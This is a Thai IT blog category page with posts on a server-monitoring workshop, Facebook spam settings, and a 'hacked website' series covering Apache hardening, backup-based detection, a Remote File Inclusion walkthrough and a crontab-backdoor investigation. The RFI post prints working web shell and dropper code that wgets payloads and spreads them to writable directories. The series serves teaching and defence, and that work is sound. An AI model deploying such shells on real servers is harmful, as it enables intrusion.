Category: System Monitoring

  • WorkShop : Server Monitoring

    “อาว Server ตายตอนไหนไม่เห็นจะรู้เลย โหลดเยอะละม้าง หรือไม่ก็แรมหมด เสถียรไหมไม่รู้สิ อาวเมื่อคืน disk หมดหรอกเหรอ สงสัย Backup อยู่ม้าง”

    ถ้าเรามีระบบ Monitor ที่ดีพบคงสามารถตอบคำถามเหล่านี้ได้ง่ายขึ้น
    และไม่ต้องเจอเหตุการณ์เดิม ๆ ซ้ำ ๆ อีกต่อไป

    มาถึงอีก 1 workshop เคยเขียนไปแล้วรอบหนึ่ง แต่ตอนนั้นสอนแค่ครึ่งวัน ได้แค่ลง Nagiosql ยังไม่ได้ทำอะไรเป็นชิ้นเป็นอันสักเท่าไหร่ รอบนี้เลยจัดเต็ม 2 วัน ถ้ามีเนื้อหาผิดพลาดประการใดแจ้งได้เลยครับ เดี๋ยวจะแก้ไขให้ครับ (งานร้อน ^.^)

    Workshop Outline
    ftp://ftp.psu.ac.th/pub/psu-monitor/workshop-outline.pdf

    VirtualBox Installation

    เครื่องที่ใช้ในการทดสอบ (Oracle VM VirtualBox)
    *แนะนำให้เปิดกับโปรแกรม version ล่าสุด
    Monitor
    ** User : workshop , Password : 123456
    Linux-Server
    ** User : monitor , Password : 123456
    MS-Server
    ** User : administrator, Password : 123456

    รายละเอียด URL
    Monitor
    Linux-Server
    MS-Server
    http://ftp.psu.ac.th/pub/psu-monitor/workshop.ova

    โดยจะแบ่งเป็น 11 ตอนโดยแยกเป็น 11 Blog ดังนี้

    ตอนที่ ชื่อตอน
    ตอนที่ 1 การติดตั้งและการตั้งค่าเบื้องต้น Nagios บน Ubuntu 14.04 LTS
    ตอนที่ 2 การติดตั้ง NagiosQL บน Ubuntu 14.04 LTS
    ตอนที่ 3 วิธีการตั้งค่าและการใช้งาน NagiosQL บน Ubuntu 14.04 LTS
    ตอนที่ 4 การติดตั้งและการตั้งค่าเบื้องต้น NagiosGraph บน Ubuntu 14.04 LTS
    ตอนที่ 5 วิธีการตั้งค่า NRPE เพื่อใช้งานกับ NagiosQL บน Ubuntu 14.04 LTS
    ตอนที่ 6 การติดตั้ง NRPE บน Ubuntu 14.04
    ตอนที่ 7 การติดตั้ง NRPE บน Windows 2012 R2
    ตอนที่ 8 การติดตั้งโปรแกรมและการตั้งค่าเบื้องต้น Cacti บน Ubuntu 14.04 LTS
    ตอนที่ 9 การติดตั้ง snmpd และการตั้งค่า shorewall บน Ubuntu 14.04 LTS
    ตอนที่ 10 การติดตั้ง snmp service และการตั้งค่า firewall บน Windows 2012 R2
    ตอนที่ 11 เรียนรู้วิธีการใช้งาน Cacti เพื่อ Monitor Server
    บทความเพิ่มเติม
    ยังไม่มี

     

  • วิธีจัดการ Facebook Spam

    เมื่อ Facebook เป็นสื่อสังคมออนไลน์ที่ใช้กันอย่างแพร่หลาย ก็ย่อมจะมี Spam หรือพวกชอบโฆษณาขายของโน่นนี่นั่นบ้าๆบอๆเข้ามารังคาญ โดยมักจะมากัน 3 วิธี หลักๆ

    1. โพสต์บน Timeline ของเราโดยตรง วิธีนี้ทำให้ Friends ของเรา และคนที่เปิดหน้า Profile ของเรา ต้องทนเห็น Spam พวกนี้ โดยเราไม่ได้เป็นคนโพสต์

    2. พวก Spam จะโพสต์ภาพ บน Timeline ตัวเอง แต่ Tag ว่าเราอยู่ในภาพนั้นๆด้วย เช่น

    3. พวก Spam จะโพสต์ภาพ หรือ ข้อความ ที่ชวนให้คลิกมากๆ แต่พอเราคลิกเข้าไปแล้ว มันจะไปเปิด App ของ Facebook ซึ่งจะขอสิทธิ์ให้เข้าไปดูรายชื่อ Friends ของเรา และ “Post on behalf” หรือ บอกว่าจะขอโพสต์ข้อความบน Timeline ของเรา เหมือนดั่งเราเป็นคนโพสต์เอง วิธีนี้ เลวร้ายมาก เพราะ ถ้าเพื่อนๆของเรา เกิดไปคลิกโพสต์เหล่านั้น ก็จะเข้าวงจรเดียวกัน เกิดการแพร่ระบาดของ Spam บน Facebook ขึ้น เช่น ภาพนี้ เป็น Spam App ชื่อ sv9.iknotz.com เป็นต้น

     

    มาดูวิธีการแก้ไขกัน (ตามภาพ)

    1. ไปที่ (1) คลิกที่ Setting

    2. ไปที่ (2) Timeline and Tagging

    3. ไปที่ (3) Who can add things to my timeline? > Who can post on your timeline? ให้คลิก Edit แล้วควรจะเลือก Friends เพื่อให้ เฉพาะคนที่เรายอมรับเป็นเพื่อนเท่านั้น สามารถโพสต์บน Timeline ของเราได้

    4. ไปที่ (4) Review posts friends tag you in before they appear on your timeline? ให้คลิก Edit แล้วเลือกเป็น Enable เพื่อให้ แม้ว่า คนที่เรารับเป็น Friends ไปแล้ว แต่เราไม่ได้ระวังตัวหรือ คนที่ชอบรับ Friends ไปเรื่อย เห็นสวยๆ ทรงโตๆก็รับไปเรื่อย พวกนี้แหล่ะ มันมักจะเป็น Spam ถ้าพวกนี้เกิดโพสต์ภาพขายของแล้ว Tag เราขึ้นมา ก็ต้องให้เรา Review ก่อน จึงจะแสดงบน Timeline เราได้

    5. สำหรับ พวก Spam App ที่เราเผลอใจ ไปกดเพราะอาจจะ …. หน้ามืด อยากดูจัด เลยคลิกไปเรื่อยๆ ก็ต้องไปลบ Apps ตามภาพ

      โดยไปที่ (5) Apps แล้ว คลิกที่ (6) Show All Apps เพื่อแสดง Apps ทั้งหมด จากนั้นหาชื่อ Spam Apps เช่นตัวอย่าง sv9.iknotz.com หรืออะไรที่ใกล้เคียง หรืออะไรที่เราไม่ควรจะมีไว้ จากนั้นคลิกที่ (7) เพื่อลบ ก็จะปรากฏหน้าต่างดังภาพ

      ให้คลิกดัง (8) เพื่อให้ ลบโพสต์ทั้งหมดของ Spam Apps เหล้านั้นที่ปรากฏบน Timeline ของเรา

     

    ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12

    บทความนี้ จะกล่าวถึง วิธีการปิดช่องโหว่ของ Apache ที่ให้บริการ Web Hosting เลย เผื่อมีผู้ใช้ ติดตั้ง Joomla และมี JCE รุ่นที่มีช่องโหว่ จะได้ไม่สร้างปัญหา และ แนะนำวิธีสำหรับผู้พัฒนาเวปไซต์เองด้วย ที่เปิดให้มีการ Upload ไฟล์โดยผู้ใช้ผ่านทาง Web ด้วย … เพราะหน้าที่นี้ ควรเป็นของ Web Server Administrator ไม่ใช่ของ Web Master หรือ Web Author ครับ

    จากปัญหาช่องโหว่ของ JCE Exploited ของ Joomla ที่อธิบายไว้ใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 ที่อธิบายขั้นตอนการเจาะช่องโหว่, วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งเป็นวิธีการตรวจสอบค้นหา และทำลาย Backdoor และ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11  วิธีการ Incremental Backup ซึ่งสามารถช่วยกู้ไฟล์ได้และรู้ว่า มีไฟล์แปลกปลอมอะไรเกิดบ้าง ซึ่งเป็นการแก้ปัญหาปลายเหตุทั้งสิ้น

    ส่วน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 กล่าวถึงการตรวจสอบว่า Software ที่ใช้งานอยู่มีช่องโหว่อะไรบ้าง ด้วยการตรวจสอบ CVE เป็นต้น

    สำหรับ JCE Exploited จะพบว่า การวางไฟล์ Backdoor จะเริ่มวางไว้ที่ไดเรคทอรี่ images/stories ที่ แกล้งเป็นไฟล์ .gif แล้วเอาโค๊ด PHP เข้ามาใส่ แล้วเปลี่ยนนามสกุลเป็น .php ภายหลัง ดังนั้น หาก Apache Web Server สามารถ ปิดกั้นตั้งแต่จุดนี้ได้ กล่าวคือ ต่อให้เอาไฟล์มาวางได้ แต่สั่งให้ทำงานไม่ได้ ก็น่าจะปลอดภัย และ หากพัฒนาเวปไซต์เอง หรือ ผู้ใช้ของระบบต้องการให้ Upload ไฟล์ไว้ในไดเรคทอรี่ใดได้ ก็ต้องแจ้งให้ Web Server Administrator รับทราบ และเพิ่มเติมให้ น่าจะทำให้ปลอดภัยมากขึ้นได้

    สมมุติฐานคือ

    1. ติดตั้ง OS และ Apache Web Server ใหม่

    2. ติดตั้ง Joomla ใหม่ หรือ เอา Web Application ที่ปลอดช่องโหว่อื่นๆ/Backdoor มาลง
      โดย Joomla ที่มีที่วางไฟล์ภาพไว้ที่ images/stories ส่วน Web Application อื่นๆ ขอสมมุติว่าตั้งชื่อไดเรคทอรี่ว่า uploads

    สำหรับ Apache2 บน Ubuntu Apache 2.2 นั้น มีโครงสร้างไดเรคทอรี่ดังนี้

    /etc/apache2/
    |-- apache2.conf
    |       `--  ports.conf
    |-- mods-enabled
    |       |-- *.load
    |       `-- *.conf
    |-- conf.d
    |       `-- *
    |-- sites-enabled
            `-- *

    เมื่อ Apache เริ่ม (Start) ก็จะไปอ่าน /etc/apache2/apache2.conf ในนั้น จะกำหนดภาพรวมของระบบ ได้แก่ ใครเป็นคน Start (APACHE_RUN_USER/APACHE_RUN_GROUP), การกำหนดชื่อไฟล์ .htaccess ที่เปิดให้ผู้ใช้ปรับแต่ง Apache ที่แต่ละไดเรคทอรี่ของตนได้, กำหนดว่า จะเรียกใช้ Module อะไรบ้าง โดยการ Include *.load, *.conf  จาก mods-enabled, กำหนดว่า จะเปิดให้มี Virtual Host อะไรบ้างโดยการ Include ไฟล์จาก sites-enabled และ ที่สำคัญ ผู้ดูแลระบบสามารถแยกไฟล์ config ออกเป็นส่วนย่อยๆเป็นไฟล์ โดยการ Include จาก conf.d

    ต่อไป สร้างไฟล์ /etc/apache2/conf.d/jce มีเนื้อหาดังนี้

    <DirectoryMatch ".*/images/stories/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

     และในทำนองเดียวกัน สร้างไฟล์ /etc/apache2/conf.d/uploads มีเนื้อหาดังนี้

    <DirectoryMatch ".*/uploads/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    ก่อนจะ Restart/Reload Apache ทดสอบสร้างไฟล์ใน

    /var/www/joomla15/images/stories/0day.php
    /var/www/mywebapp/uploads/hack.php

    เมื่อเรียก URL
    http://localhost/joomla15/images/stories/0day.php

    http://localhost/mywebapp/uploads/hack.php

     ผลที่ได้คือ Backdoor หน้าตาประมาณนี้

    แต่พอใช้ Reload Apache ด้วยคำสั่ง

     sudo /etc/init.d/apache2 reload

     แล้วเรียก URL

     http://localhost/joomla15/images/stories/0day.php

     จะได้ผลดังนี้

    เป็นอันว่า แม้ Hacker จะสามารถเอาไฟล์ 0day.php ไปวางใน images/stories ได้ แต่ก็จะไม่สามารถทำงานได้ (อย่างน้อย ก็เรียกใช้ไม่ได้ แต่ผู้ดูแลต้องค้นหาและทำลายเป็นประจำ)

     อธิบายเพิ่มเติมเกี่ยวกับ Apache Configuration เล็กน้อย, การเขียนนั้น ประกอบด้วยสิ่งที่เรียกว่า Directive โดยแบ่งออกเป็น Container และ Directive ทั่วไป

    1. Container Directive: เป็นตัวบอกขอบเขต แบ่งออกเป็น

    1.1 FileSystem: ได้แก่

    1.1.1 <Directory directory-path> … </Directory>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่ง directory-path จะต้องเขียนตามให้เต็ม Path เช่น
    <Direcotory /var/www>
    ….
    </Directory>

    1.1.2 <DirectoryMatch regexp> … </DirectoryMatch>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่งสอดคล้องกับ regexp ที่กำหนด เช่น
    <DirecotoryMatch “.*/images/stories/.*”>
    ….
    </DirectoryMatch>

    1.1.3 <Files filename> … </Files>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่ตรงกับ filename ที่กำหนด เช่่น
    <Files “somefile.html”>

    </Files>

    1.1.4 <FilesMatch regexp> … </FilesMatch>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่สอดคล้องกับ regexp ที่กำหนด เช่่น
    <FilesMatch “.*\.php$”>

    </FilesMatch>

    1.2 WebSpace: ได้แก่

    1.2.1 <Location URL-Path> … </Location>
    ตั้งค่ากับเฉพาะ URL ที่ตรงกับ URL-Path เช่น
    <Location /private>

    </Location>
    1.2.2 <LocationMatch regexp> … </LocalMatch>
    ตั้งค่ากับเฉพาะ URL ที่สอดคล้องกับ regexp เช่น
    <LocationMatch “/(extra|special)/data”>

    </LocationMatch>

    2. Other Directive
    ซึ่งมีอยู่มากมาย กรุณาอ่านเพิ่มเติมจาก http://httpd.apache.org/docs/2.2/mod/core.html แต่ในที่นี้ จะขอยกตัวอย่างที่สำคัญ และจำเป็นต้องใช้ ตามตัวอย่างข้างต้น คือ

    Order ordering : อยู่ใน Module mod_access_compat, ค่า ordering ที่สามารถกำหนดได้คือ

    Allow, Deny ซึ่งจะพิจารณาการอนุญาตก่อนปฏิเสธ และ Deny, Allow จะปฏิเสะก่อนแล้วพิจารณาอนุญาต ให้เข้าถึงไฟล์ หรือ ไดเรคทอรี่ต่างๆ

    Deny all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ปฏิเสธทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    Allow all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ยอมรับทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    ดังนั้น ไฟล์ /etc/apache2/conf.d/jce ซึ่งมีเนื้อหาว่า

    <DirectoryMatch ".*/images/stories/.*>
     <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    หมายถึง ถ้ามีการเรียก ไฟล์ที่อยู่ใน directory อะไรก็ตามที่มีส่วนหนึ่งของ Path เป็น images/stories ก็จะ ไปดูว่า ชื่อไฟล์ที่เรียกนั้น มีนามสกุลเป็น .php หรือไม่ (.* แปลว่า ตัวอักษรอะไรก็ได้, \. หมายถึงจุด “.” ที่ใช้เชื่อม filename และ extenstion และ $ หมายถึง สิ้นสุดข้อความ) ถ้าเป็นการเรียกไฟล์ .php ใน images/stories ก็จะ ปฏิเสธเสมอ (Deny from ALL)

    แล้ว ทำไมไม่ใช่ .htaccess ?

    จาก Apache Security Tips ไม่แนะนำให้ใช้ .htaccess เพราะปัญหาด้าน Performance เพราะทุกครั้งที่จะเข้าถึงไฟล์ จะต้องพิจารณา .htaccess ทุกครั้ง ในเวปไซต์ที่มีการใช้งานมาก อาจจะทำให้ความเร็วช้าลงได้ อีกประการหนึ่ง .htaccess นั้นอยู่ในไดเรคทอรี่ที่ผู้ใช้สามารถกำหนดสิทธิ์ (Permission) เองได้ หากพลาดกำหนดให้ Web User สามารถเขียนได้ อาจจะทำให้ Hacker เลี่ยงข้อกำหนดต่างๆได้ หาก ที่ Apache Main Configuration ประกาศ AllowOverride เป็น ALL

    ขอให้โชคดี

    Reference

    [1] “Apache HTTP Server Version 2.2 Documentation – Apache HTTP …” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/> .

    [2] “Security Tips – Apache HTTP Server.” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/misc/security_tips.html>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11

    ตั้งแต่ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1 เป็นต้นมา เป็นการแสดงให้เห็นถึง ปัญหา, การตรวจสอบ, การค้นหา หลังจากเกิดปัญหาแล้วทั้งสิ้น ก็จะเห็นได้ว่า ยุ่งยาก และเป็นเรื่องยากมาก ที่จะค้นหา Backdoor ให้หมด และการจะกำจัดให้หมดนั้นเป็นภาระอย่างมาก

    ในบทความนี้ จะกล่าวถึง การสำรองข้อมูลไว้ พร้อมๆกับ สามารถตรวจสอบได้ว่า มี Backdoor ใดเกิดขึ้น, มีการแก้ไขไฟล์เพื่อวาง Backdoor ไว้บ้าง, มีการเปลี่ยนแปลงไฟล์ของระบบเป็น Backdoor บ้างหรือไม่ และยังสามารถ กู้ระบบกลับมาได้ แล้วจึงดำเนินการป้องกันไม่ให้เกิดขึ้นซ้ำอีกได้

    การสำรองข้อมูล หรือการ Backup มี 2 แบบ

    1. Full Backup: สำรองทุกไฟล์และไดเรกทอรี่
    2. Incremental Backup: สำรอง “เฉพาะ” ไฟล์และไดเรกทอรี่ ที่มีการเพิ่ม หรือเปลี่ยนแปลง เท่านั้น

    เครื่องมือในการ Backup มีหลายอย่าง ในบทความนี้ ขอใช้ tar เพราะสามารถใช้งานได้ง่าย
    โดยยกตัวอย่าง เป็นการ Backup /var/www/joomla15

    1. Full Backup ทำได้โดยการสร้างไฟล์ fullbackup.sh และมีข้อมูลดังนี้

    d=$(date "+%Y%m%d%H%M%S")
    cp /dev/null joomla15.snar
    tar -zcvf joomla15-full-$d.tar.gz -g joomla15.snar /var/www/joomla15

    2. Incremental Backup ทำได้โดยการสร้างไฟล์ incrementalbackup.sh และมีข้อมูลดังนี้

    d=$(date "+%Y%m%d%H%M%S")
    tar -zcvf joomla15-inc-$d.tar.gz -g joomla15.snar /var/www/joomla15

    โดยคำสั่ง tar มีคำสั่งเพิ่มเติม เล็กน้อย คือ -g ตามตัว joomla15.snar ซึ่ง จะเก็บสถานะของการ Backup ล่าสุดเอาไว้ ทำให้สามารถทราบได้ว่า มีต้อง Backup ไฟล์ใดบ้าง, ส่วน ชื่อไฟล์ .tar.gz ก็จะนำหน้าด้วย วันเวลานาที ของการทำ backup ไว้

    เมื่อทำคำสั่ง

    sh fullbackup.sh

    จะได้ไฟล์นี้

    joomla15-full-20140105004433.tar.gz

    ต่อมา สมมุติ มีการโจมตี Joomla ด้วยช่องโหว่ของ JCE แบบนี้

    jce01

    เมื่อใช้คำสั่ง

    find /var/www/ -name "*.php" -type f | grep 'images/stories'

    ได้ผลดังนี้

    /var/www/joomla15/images/stories/0day.php

    และ สมมุติ Hacker ใช้งาน Backdoor 0day.php ดังกล่าวทาง URL

    http://localhost/joomla15//images/stories/0day.php

    และ แก้ไขไฟล์

    /var/www/joomla15/CREDITS.php

    ดังนี้

    jce02

    สรุปคือ Hacker สามารถ สร้างและเปลี่ยนแปลงไฟล์

    /var/www/joomla15/images/stories/0day.php
    /var/www/joomla15/CREDITS.php

    เมื่อใช้คำสั่ง

    sh incrementalbackup.sh

    จะได้ไฟล์

    joomla15-inc-20140105021906.tar.gz

    วิธีตรวจสอบ ไฟล์ที่เพิ่มเข้ามา และมีการเปลี่ยนแปลง ใช้คำสั่ง diff โดยเอารายการของไฟล็ใน .tar.gz มาเปรียบเทียบกัน ด้วยคำสั่ง

    diff <(tar -ztvf joomla15-full-20140105004433.tar.gz) <(tar -ztvf joomla15-inc-20140105021906.tar.gz) |grep '>'

    ผลที่ได้คือ จะทราบว่ามีไฟล์ ต่อไปนี้ เพิ่ม/เปลี่ยนแปลง

    > -rw-r--r-- www-data/www-data 15571 2014-01-05 02:10 var/www/joomla15/CREDITS.php
    > -rw-r--r-- www-data/www-data 14315 2014-01-05 01:55 var/www/joomla15/images/stories/0day.php

    หาก ต้องการไฟล์ต้นฉบับของ CREDITS.php ก็ใช้คำสั่ง

    tar -zxvf joomla15-full-20140105004433.tar.gz var/www/joomla15/CREDITS.php

    ก็สามารถกู้ไฟล์เดิมกลับมาได้ครับ

    ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10

    ในบทความนี้ จะพูดถึงช่องโหว่ที่เรียกว่า Remote File Inclusion หรือ RFI [1]

    จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 ที่พูดถึง ช่องโหว่ประเภท XSS หรือ Cross-site Scripting ซึ่งอาศัยข้อผิดพลาดของการเขียนโปรแกรม ที่ทำให้ Hacker สามารถแทรก JavaScript ซึ่งจะได้ข้อมูลของ Web Browser และสามารถเปิดโอกาศให้ ผู้ใช้ของระบบ สามารถเขียน JavaScript ลงไปใน Database สร้างความเป็นไปได้ในการขโมย Cookie ID ของ Admin

    แต่ RFI เป็นช่องโหว่ ที่เกิดจากการเขียนโค๊ด ที่เปิดให้มีการ Include ไฟล์จากภายนอก จาก Internet ได้ ซึ่ง เปิดโอกาศให้ Hacker สามารถทำได้ตั้งแต่ เรียกไฟล์ /etc/passwd มาดูก็ได้ หรือ แม้แต่เอาไฟล์ Backdoor มาวางไว้ เรียกคำสั่งต่างๆได้เลยทีเดียว

    โปรดพิจารณาตัวอย่างต่อไปนี้

    ไฟล์แรก form.html มีรายละเอียดดังนี้

    <form method="get" action="action.php">
       <select name="COLOR">
          <option value="red.inc.php">red</option>
          <option value="blue.inc.php">blue</option>
       </select>
       <input type="submit">
    </form>

    ให้ผู้ใช้ เลือกสี red หรือ blue แล้วส่งค่าดังกล่าว ผ่านตัวแปร COLOR ไปยัง action.php ผ่านวิธีการ GET

    ไฟล์ที่สอง action.php มีรายละเอียดดังนี้

    <?php
       if (isset( $_GET['COLOR'] ) ){
          include( $_GET['COLOR'] );
       }
    ?>

    โดยหวังว่า จะได้ Include red.inc.php หรือ blue.inc.php ตามที่กำหนดไว้ เช่น

    http://localhost/rfi/action.php?COLOR=red.inc.php

    แต่ เป็นช่องโหว่ ที่ทำให้ Hacker สามารถ แทรกโค๊ดอันตรายเข้ามาได้ ผ่านตัวแปร COLOR ได้

    หาก Hacker ทราบว่ามีช่องโหว่ ก็อาจจะสร้างไฟล์ Backdoor ชื่อ makeremoteshell.php เพื่อให้แทรกผ่านการ include ผ่านตัวแปร COLOR ดังนี้

    <?php
    $output=shell_exec("
        wget http://localhost/rfi/rfi.txt -O /tmp/rfi.php
        find /var/www -user www-data -type d -exec cp /tmp/rfi.php {} \;
        find /var/www -name 'rfi.php'
    ");
    echo nl2br($output);
    ?>

    ซึ่ง จะทำงานผ่าน function shell_exec ซึ่งสามารถเรียกคำสั่งของ Shell Script ได้ โดย ไปดึงไฟล์จาก http://localhost/rfi/rfi.txt (สมมุติว่าเป็น Website ของ Hacker ที่จะเอาไฟล์ Backdoor ไปวางไว้) แล้ว เอาไฟล์ดังกล่าว ไปเก็บ /tmp/rfi.php และจากนั้น ก็ค้นหาว่า มี Directory ใดบ้างที่ Web User ชื่อ www-data เขียนได้ ก็ copy /tmp/rfi.php ไปวาง หลังจากนั้น ก็แสดงผลว่า วางไฟล์ไว้ที่ใดได้บ้าง

    ไฟล์ rfi.txt ที่จะถูกเปลี่ยนเป็น rfi.php นั้น มีรายละเอียดดังนี้

    <?php
    $c = $_GET['c'];
    $output = shell_exec("$c");
    echo "<pre>" . nl2br($output) . "</pre>";
    ?>

    ซึ่ง จะทำให้สามารถ ส่งคำสั่ง ผ่านตัวแปร c ไปให้ Backdoor rfi.php ทำงานได้เลย
    จากนั้น ก็เรียก

    http://localhost/rfi/action.php?COLOR=http://localhost/rfi/makeremoteshell.php

    ผลที่ได้คือ

    rfi01

    เป็นผลให้ เกิดการวาง Backdoor rfi.php ข้างต้นในที่ต่างๆที่ Web User เขียนได้แล้ว จากนั้น Hacker ก็สามารถ เรียกใช้ ด้วย URL ต่อไปนี้ เพื่อส่งคำสั่ง ls -l ได้เลย

    http://localhost/ccpr/images/stories/rfi.php?c=ls -la

    ผลที่ได้คือ

    rfi02

    หรือ แม้แต่ เอา Backdoor อื่่นๆไปวางด้วย URL

    http://localhost/ccpr/images/stories/rfi.php?c=wget http://localhost/rfi/miya187.txt -O /var/www/ccpr/images/stories/miya187.php

    และเรียกใช้ งาน Backdoor อันตรายอย่างนี้ได้เลยทีเดียว

    http://localhost/ccpr/images/stories/miya187.php

    ผลที่ได้คือ

    rfi03

    ซึ่ง อันตรายอย่างยิ่ง

    วิธีการเดียวที่จะป้องกันได้คือ การปิดค่า allow_url_include ของ PHP ดังนี้

    allow_url_include=Off

    ก็ทำให้ PHP สามารถ Include ได้เฉพาะ Path ที่กำหนดเท่านั้น ไม่สามารถเรียกจากภายนอกได้

    ขอให้โชคดี

     Reference

    [1] Wikipedia:File Inclusion Vulnerability <http://en.wikipedia.org/wiki/File_inclusion_vulnerability>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #8

    ได้รับข้อร้องเรียนจาก Google Webmaster Tools ว่า มีเครื่องภายในมหาวิทยาลัย พยายามโจมตี เครือข่ายภายนอก และทาง Firewall ของมหาวิทยาลัย ได้ทำการปิดกั้น การเข้าออก ของเครื่องดังกล่าวแล้ว จึงเข้าตรวจสอบ

     ขั้นตอนการตรวจสอบ

     1. เบื้องต้น พบว่าเป็น  Ubuntu 8.04.4 LTS

    2. ตรวจสอบ ทำให้ทราบว่า Web User ใดที่สั่งให้ httpd ทำงาน ด้วยคำสั่ง

     ps aux |grep http

     ผลคือ

     nobody   31159  0.0  1.5  29056 15588 ?        S    Dec17   0:00 /opt
    /lampp/bin/httpd -k start -DSSL -DPHP5

     จึงทราบว่า Web User ใช้ชื่อว่า ‘noboby’ (จากที่เคยคุ้นชินกับ www-data, apache อะไรทำนองนั้น)

     3. ตรวจสอบ Process อย่างละเอียดด้วยคำสั่งต่อไปนี้

     ps auxwe

     ผลที่ได้ พบว่า มี Process ของ httpd ทั่วๆไป จะแสดงรายละเอียดอย่างนี้

    nobody     3460  0.0  1.3  28060 14348 ?        S    Dec01   0:00 /op
    t/lampp/bin/httpd -k start -DSSL -DPHP5 LESSOPEN=| /usr/bin/lesspipe 
    %s USER=root MAIL=/var/mail/root SHLVL=4 LD_LIBRARY_PATH=/opt/lampp/li
    b:/opt/lampp/lib:/opt/lampp/lib: HOME=/root LOGNAME=root _=/opt/lampp/
    bin/apachectl TERM=vt100 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin
    :/usr/bin:/sbin:/bin LANG=en_US.UTF-8 LS_COLORS=no=00:fi=00:di=01;34:l
    n=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01
    :su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.t
    gz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31
    :*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.b
    z=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.
    rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*
    .jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;3
    5:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=0
    1;35:*.png=01;35:*.svg=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg
    =01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.
    m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:
    *.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;3
    5:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;3
    6:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=0
    0;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36: SHELL=/bin/bash L
    ESSCLOSE=/usr/bin/lesspipe %s %s PWD=/root

    แต่ พบว่า มีอยู่รายการหนึ่ง แสดงผลอย่างนี้

     nobody    5106  0.0  0.2   4168  2184 ?        S    Nov21   1:17 /usr
    /local/apache/bin/httpd -DSSL                                         
    
                                              -m a.txt HOME=/nonexistent O
    LDPWD=/var/spool/cron LOGNAME=nobody PATH=/usr/bin:/bin SHELL=/bin/sh 
    PWD=/home/wwwroot/experience/images/smilies/.laknat/.libs

     จึงตรวจสอบ Process PID 5106 ด้วยคำสั่ง

     ls -la /proc/5106

     ผลที่ได้คือ

     ซึ่ง จะเห็นได้ว่า Process นี้ สั่งทำงานจาก /home/wwwroot/experience/images/smilies/.laknat/.libs/httpd

    แต่ ก่อนหน้านี้ ผู้ดูแลระบบ ได้ สำรองข้อมูลออกไป แล้วลบทิ้งไปก่อนแล้ว จึงขึ้นคำว่า (deleted)

     จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 พบว่า Hacker มักจะเขียน crontabs เอาไว้ เรียก Backdoor กลับมาอีก จึงทำการตรวจสอบที่ /var/spool/cron/crontabs ด้วยคำสั่ง

     ls -l /var/spool/cron/crontabs/

    ผลที่ได้คือ

    -rw------- 1 nobody crontab 271 2013-11-21 21:45 nobody
    -rw------- 1 root   crontab 256 2011-12-30 09:46 root

     และเมื่อ cat ออกมาดู พบว่า

    cat /var/spool/cron/crontabs/root
    
    # DO NOT EDIT THIS FILE - edit the master and reinstall.
    # (/tmp/crontab.WBj4te/crontab installed on Fri Dec 30 09:46:13 2011)
    # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
    # m h  dom mon dow   command
    0 3 * * * sh /backup.sh
    cat /var/spool/cron/crontabs/nobody
    
    # DO NOT EDIT THIS FILE - edit the master and reinstall.
    # (a.txt.d installed on Thu Nov 21 21:45:40 2013)
    # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
    * * * * * /home/wwwroot/experience/images/smilies/.laknat/.libs/a.txt.upd >/dev/null 2>&1

     แสดงให้เห็นว่า มี crontabs ของ nobody สร้างเมื่อเวลา Thu Nov 21 21:45:40 2013

    4.เครื่องนี้ใช้ lampp เป็น Web Server ซึ่ง ใช้พื้นที่ทำงานคือ

     /opt/lampp

